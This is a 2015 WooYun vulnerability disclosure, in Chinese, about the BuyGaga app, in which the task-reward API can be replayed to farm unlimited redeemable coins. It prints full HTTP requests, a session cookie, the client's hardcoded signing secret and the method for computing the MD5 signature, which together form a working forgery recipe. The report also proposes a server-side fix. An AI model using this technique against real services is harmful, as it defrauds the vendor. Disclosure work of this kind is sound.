漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0118960
漏洞标题:买嘎嘎设计缺陷可无限制刷取嘎币
相关厂商:买嘎嘎
漏洞作者: 三石
提交时间:2015-06-09 12:16
修复时间:2015-07-24 12:48
公开时间:2015-07-24 12:48
漏洞类型:设计缺陷/逻辑错误
危害等级:高
自评Rank:20
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-06-09: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-07-24: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
买嘎嘎中 嘎币可以换取很多实体礼品而且不需要人民币。 比如60嘎币就能获取一件骆驼牌的冲锋衣,还有很多很多礼品都可以通过嘎币直接换取。 这就相当于可以随意换取礼品。
详细说明:
漏洞对应的业务逻辑: “我的” - “嘎嘎会员” - “会员任务” - “3.软件分享”
任务列表获取接口:
请求:
POST //gagaapi/task.php HTTP/1.1
Content-Length: 75
Content-Type: application/x-www-form-urlencoded
Host: www.buygaga.com
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.4; zh-cn; MI NOTE LTE Build/KTU84P) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Cookie: PHPSESSID=94ndklvi24rc9jpj8gpi1d4j72
Cookie2: $Version=1
Accept-Encoding: gzip
uid=1861168391&method=getmissionstate&sign=fe0fff3f7a545ff03f8b2c133395b2f2
http 请求返回:
HTTP/1.1 200 OK
Date: Mon, 08 Jun 2015 03:24:45 GMT
Server: Apache/2.4.10 (Unix) OpenSSL/1.0.1e-fips PHP/5.4.30
X-Powered-By: PHP/5.4.30
Content-Length: 69
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=utf-8
{"code":200,"datas":[{"sharestate":"3","uinfostate":"1"}],"msg":null}
对应任务截图:
完成任务后有个提交完成的接口:
http 请求:
POST //gagaapi/task.php HTTP/1.1
Content-Length: 82
Content-Type: application/x-www-form-urlencoded
Host: www.buygaga.com
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.4; zh-cn; MI NOTE LTE Build/KTU84P) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Cookie: PHPSESSID=94ndklvi24rc9jpj8gpi1d4j72
Cookie2: $Version=1
Accept-Encoding: gzip
uid=1861168391&method=getmissiongabi&mtype=2&sign=9b531cc8f67317785585710387ccfe50
参数说明:
uid(用户id)
method(请求动作)
mtype(分享类型2是短信分享)
sign(指纹认证参数)
sign 是一个字符串的md5 , 字符串的组合是 将参数根据每个参数值的 ascii 从小到大排序, 参数集合中增加 一个 “gagabuy123” 秘钥值参与排序, 该秘钥值是反编译客户端从 com.buygaga.appscan.request 包下得 HtPostBodyReq 类 createRequestParams 方法中发现的 。
sign 计算方式举例 比如参数有 :uid=1861168391&method=getmissiongabi&mtype=2
排序后 :“ 2 1861168391gagabuy123 getmissiongabi ” (为了说明排序关系才加入的空格 计算时是没有空格的) 将该字符串计算md5 后的值就是 sign 的值( 注意md5 一定要小写,大写的服务器认证不通过,曾经就犯过这个错误)
http 返回:
HTTP/1.1 200 OK
Date: Mon, 08 Jun 2015 03:15:37 GMT
Server: Apache/2.4.10 (Unix) OpenSSL/1.0.1e-fips PHP/5.4.30
X-Powered-By: PHP/5.4.30
Content-Length: 68
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=utf-8
{"code":200,"datas":[],"msg":"嘎币领取成功"}
漏洞证明:
修复方案:
服务端 加上任务提交 每天一次的限制即可。
版权声明:转载请注明来源 三石@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝